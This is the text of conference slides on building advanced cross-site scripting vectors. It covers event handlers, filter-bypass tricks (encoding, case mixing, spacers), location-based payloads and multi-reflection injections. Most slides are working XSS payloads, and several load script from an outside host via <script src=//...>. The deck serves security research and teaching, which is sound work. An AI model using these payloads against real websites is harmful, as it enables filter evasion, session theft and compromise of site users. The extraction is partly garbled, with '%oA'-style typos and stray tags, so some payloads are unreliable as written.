Building Advanced XSS Vectors

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- Vector Builder (webGun)
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- Location Based Payloads
- Multi Reflection

About - Speaker

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- Some HoF & acknowledgements
- XSS expert

About - Presentation

- Not just another talk on XSS
- Use of alert(1) for didactic purposes
- Mainly about event based XSS
- Some stuff may be hard to follow

Vector Scheme

Vector Scheme

• Regular

<tag handler=code>

Example:

<svg onload=alert(1)>

Vector Scheme

Full

extra1 < tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3

Example:

<thead%oCstyle=font-size:700px%oDonmouseover%oA=%oBprompt (1)%o9>AAAAAAAAA

Vector Builder (webGun)

http://brutelogic.com.br/webgun

Vector Builder (webGun)

- Interactive cheat sheet
- Builder of XSS vectors/payloads
- More than 3k unique combinations
- Event or tag oriented
- Handlers by browser
- Handlers by length*
- Manual vector editing
- Test on target or default test page

^{*} for filter bypass procedure.





Agnostic Event Handlers

Agnostic Event Handlers

- Used with almost any tag
- Ones that work with arbitrary tags

Example:

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- Most require UI
- Work on all major browsers

Agnostic Event Handlers - List

- onblur
- onclick
- oncopy
- oncontextmenu
- oncut
- ondblclick
- ondrag
- onfocus
- oninput

- onkeydown
- onkeypress
- onkeyup
- onmousedown
- onmousemove
- onmouseout
- onmouseover
- onmouseup
- onpaste

Agnostic Event Handlers

• Example:

<brute onclick=alert(1)>clickme!

• Example 1

```
...<input type="hidden" value="INPUT"></form><script type="text/javascript">
function x(){ do something }</script>
```

INPUT

```
"><script>alert(1)//
or
"><script>alert(1)<!--
```

Injection

```
...<input type="hidden" value=""><script>alert(1)//"></form><script type="text/javascript"> function x(){ do something }</script>
```

Result

```
...<input type="hidden" value=""><script>alert(1)//"></form><script type="text/javascript"> function x(){ do something }</script>
```

• Example 2

```
...
<input type="hidden" value="INPUT"
>
</form>
<script type="text/javascript">
    function x() {
        do something
    }
</script>
```

INPUT

```
"><script src="//brutelogic.com.br/1
or
"><script src="//3334957647/1
```

Injection

```
<input type="hidden" value=""</pre>
><script src="//brutelogic.com.br/1"
>
</form>
<script type="text/javascript">
    function x() {
         do something
</script>
```

Result

```
<input type="hidden" value=""</pre>
><script src="//brutelogic.com.br/1"
>
</form>
<script type="text/javascript">
    function x() {
         do something
</script>
```

Filter Bypass

Filter Bypass - Procedure

- Arbitrary tag + fake handler
- Start with 5 chars, increase
- Example

```
<x onxxx=1 (5) pass

<x onxxxx=1 (6) pass

<x onxxxxx=1 (7) block
```

Up to 6 chars: oncut, onblur, oncopy, ondrag, ondrop, onhelp, onload, onplay, onshow

Filter Bypass - Tricks

Encoding

```
%3Cx onxxx=1
<%78 onxxx=1
<x %6Fnxxx=1
<x o%6Exxx=1
<x on%78xx=1
<x onxxx%3D1
```

Mixed Case

```
<X onxxx=1
<x ONxxx=1
<x OnXxx=1
<X OnXxx=1</pre>
```

Doubling

```
<x onxxx=1 onxxx=1
```

Filter Bypass - Tricks

• Spacers

```
<x/onxxx=1
<x%o9onxxx=1
<x%oAonxxx=1
<x%oConxxx=1
<x%oDonxxx=1
<x%oFonxxx=1</pre>
```

Combo

Quotes

Mimetism

```
<x </onxxx=1 (closing tag)
<x 1=">" onxxx=1 (text outside tag)
<a href="http://onxxx%3D1/">http://onxxx%3D1/</a> (URL)
```

Location Based Payloads

Location Based Payloads

- Really complex payloads can be built
- document.location properties and similar
- Avoiding special chars (at least between = and >)
- Game over to filter

• location.protocol

protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3

• location.hostname, document.domain

```
protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
```

• location.origin

protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3

• location.pathname

```
protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
```

• location.search

```
protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
```

• previousSibling.nodeValue, document.body.textContent* ("Before")

protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3

* (may need to close the injected tag)

• tagName, nodeName ("Itself")

protocol: // domain / path/page ?p= text1 < tag handler=code> text2 # text3

• outerHTML ("Itself")

protocol: // domain / path/page ?p= text1 < tag handler=code> text2 # text3

• innerHTML* ("After")

protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3

* (may need to close the injected tag)

Location Based Payloads - Document Properties

• textContent, nextSibling.nodeValue*, firstChild.nodeValue, lastChild. nodeValue ("After")

protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3

* (may need to close the injected tag)

Location Based Payloads - Document Properties

• Location.hash ("Hash")

protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3

Location Based Payloads - Document Properties

• URL, location.href, baseURI, documentURI

protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3

Location Based Payloads - Evolution 1

```
<svg onload=location='javascript:alert(1)'>
<svg onload=location=location.hash.substr(1)>#javascript:alert(1)
<svg onload=location='javas'+'cript:'+'ale'+'rt'+location.hash.substr(1)>#(1)
<svg onload=location=/javas/.source+cript:/.source+/ale/.source+/rt/.</pre>
source+location.hash.substr(1)>#(1)
<svg onload=location=/javas/.source+/cript:/.source+/ale/.source+/rt/.</pre>
source+location.hash[1]+1+location.hash[2]>#()
```

Location Based Payloads - Evolution 2

```
<javascript onclick=alert(tagName)>click me!
<javascript:alert(1) onclick=location=tagName>click me! <== doesn't work! So...
<javascript onclick=location=tagName+location.hash(1)>click me!#:alert(1)
<javascript onclick=location=tagName+innerHTML+location.hash>:/*click me!
#*/alert(1)
```

```
javascript + :"click me! + #"-alert(1)
javascrip + t:"click me! + #"-alert(1)
javas + cript:"click me! + #"-alert(1)
```

Location Based Payloads - Taxonomy

- By Type
- 1. Location
- 2. Location Self
- 3. Location Self Plus

• By Positioning (Properties)

• Location After (innerHTML)

```
<j onclick=location=innerHTML>javascript&colon;alert(1)//
```

• Location Inside (name+id)

```
<svg id=t:alert(1) name=javascrip onload=location=name+id>
```

Location Itself + After + Hash (tagName+innerHTML+location.hash)

```
<javascript onclick=location=tagName+innerHTML+location.hash>:/*click me!
#*/alert(1)

<javascript onclick=location=tagName+innerHTML+location.hash>:'click me!#'-alert(1)

<javascript onclick=location=tagName+innerHTML+URL>:"-'click me!
</javascript>#'-alert(1)
```

Result: javascript + :"-'click me! + http://..."-'click me</javascript>#'-alert(1)

Location Itself + Hash (tagName+URL)

oAalert(1)

```
<javascript:"-' onclick=location=tagName+URL>click me!#'-alert(1)

("Labeled Jump")
<javascript: onclick=location=tagName+URL>click me!#%oAalert(1)

Result:
```

javascript: + http://...<javascript: onclick=location=tagName+URL>click me!#%

Location After + Hash (innerHTML+URL)

```
<j onclick=location=innerHTML+URL>javascript:"-'click me!</j>#'-alert(1)
```

```
<j onclick=location=innerHTML+URL>javascript:</j>#%oAalert(1)
```

Location Itself + After + Hash (tagName+innerHTML+URL)

```
<javas onclick=location=tagName+innerHTML+URL>cript:"-'click me!</javas>#'-
alert(1)
```

<javas onclick=location=tagName+innerHTML+URL>cript:/javas>#%oAalert(1)

• Location Itself + Before (tagName+previousSibling)

"-alert(9)<javascript:" onclick=location=tagName+previousSibling. nodeValue>click me!

Location Itself + After + Before (tagName+innerHTML+previousSibling)

'-alert(9)<javas onclick=location=tagName+innerHTML+previousSibling. nodeValue>cript:'click me!

• Location After + Itself (innerHTML+outerHTML)

```
<alert(1)<!-- onclick=location=innerHTML+outerHTML>javascript:1/*click me!
*/</alert(1)<!--->
javascript:1/*click me!*/ + <alert(1)<!-- ... </alert(1)<!-- -->
<j 1="*/""-alert(1)<!-- onclick=location=innerHTML+outerHTML>javascript:
/*click me!
javascript:/*click me! + <j 1="*/""-alert(1)<!-- ...
```

• Location After + Before + Itself (innerHTML+previousSibling+outerHTML)

```
*/"<j"-alert(9)<!-- onclick=location=innerHTML+previousSibling.
nodeValue+outerHTML>javascript:/*click me!

javascript:/*click me! + */" + <j"-alert(9)<!-- ...

*/"<j 1=-alert(9)// onclick=location=innerHTML+previousSibling.
nodeValue+outerHTML>javascript:/*click me!

javascript:/*click me! + */" + <j 1="-alert(9)//" ...
```

Location Self Inside

```
p=<svg id=?p=<svg/onload=alert(1)%2B onload=location=id>

http://...?p=<svg/onload=alert(1)+

p=<svg id=?p=<script/src=//brutelogic.com.br/1%2B onload=location=id>

http://...?p=<script/src=//brutelogic.com.br/1+
```

• Location Self After

```
p=<j onclick=location=textContent>?p=%26lt;svg/onload=alert(1)>
```

```
http://...?p = < svg/onload = alert(1) >
```

Location Based Payloads - Location Self Plus

• Location Self Plus Itself

```
p=<j%26p=<svg%2Bonload=alert(1) onclick=location%2B=outerHTML>click me!
```

```
http://...?p=%3Cj%26p=%3Csvg%2Bonload=alert(1)%2oonclick=location%
2B=outerHTML%3Eclick%2ome!<j&p=<svg+onload=alert(1) onclick="
location+=outerHTML">
```

Location Based Payloads - Location Self Plus

Location Self Plus After

```
p=<j onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)>
```

```
http://...?p=%3Cj%2oonclick=location%2B=textContent%3E%26p=%26lt;
svg/onload=alert(1)%3E&p=<svg/onload=alert(1)>
```

Location Based Payloads - Location Self Plus

• Location Self Plus Before

```
p=%26p=%26lt;svg/onload=alert(1)><j onclick=location%2B=document.body. textContent>click me!
```

```
http://...?p=%26p=%26lt;svg/onload=alert(1)%3E%3Cj%2oonclick=location%
2B=document.body.textContent%3Eclick%2ome![BODY_CONTENT]
&p=<svg/onload=alert(1)>click me!
```

Multi Reflection

Multi Reflection - Single Input

• Double Reflection - Single Input

• Double Reflection - Single Input (script)

```
p='onload=alert(1)><svg/1='

p='>alert(1)</script><script/1='

p=*/alert(1)</script><script>/*

'onload=alert(1)><svg/1='

... [code] ...

*/alert(1)</script><script>/*

... [code] ...

*/alert(1)</script><script>/*
```

Multi Reflection - Single Input

• Triple Reflection - Single Input

p=*/alert(1)">'onload="/*<svg/1='

p= -alert(1)">'onload="\extrm{\supersym}_1='

-alert(1)">'onload="`<svg/1='

... [code] ...

`-alert(1)">'onload="`<svg/1='

... [code] ...

`-alert(1)">'onload="`<svg/1='

• Triple Reflection - Single Input (script)

p=*/</script>'>alert(1)/*<script/1='

/</script>'>alert(1)/<script/1='

... [code] ...

... [code] ...

/</script>'>alert(1)/<script/1='

/</script>'>alert(1)/<script/1='

Multi Reflection - Multi Input

• 2 inputs:

```
p=<svg/1='&q='onload=alert(1)>
```

• 3 inputs:

```
p = \langle svg \mid 1 = '&q = onload = '/*&r = */alert(1)' \rangle
```

Conclusion

- XSS vectors can:
- be complex;
- easily evade filters;
- blow your mind.

Thanks!

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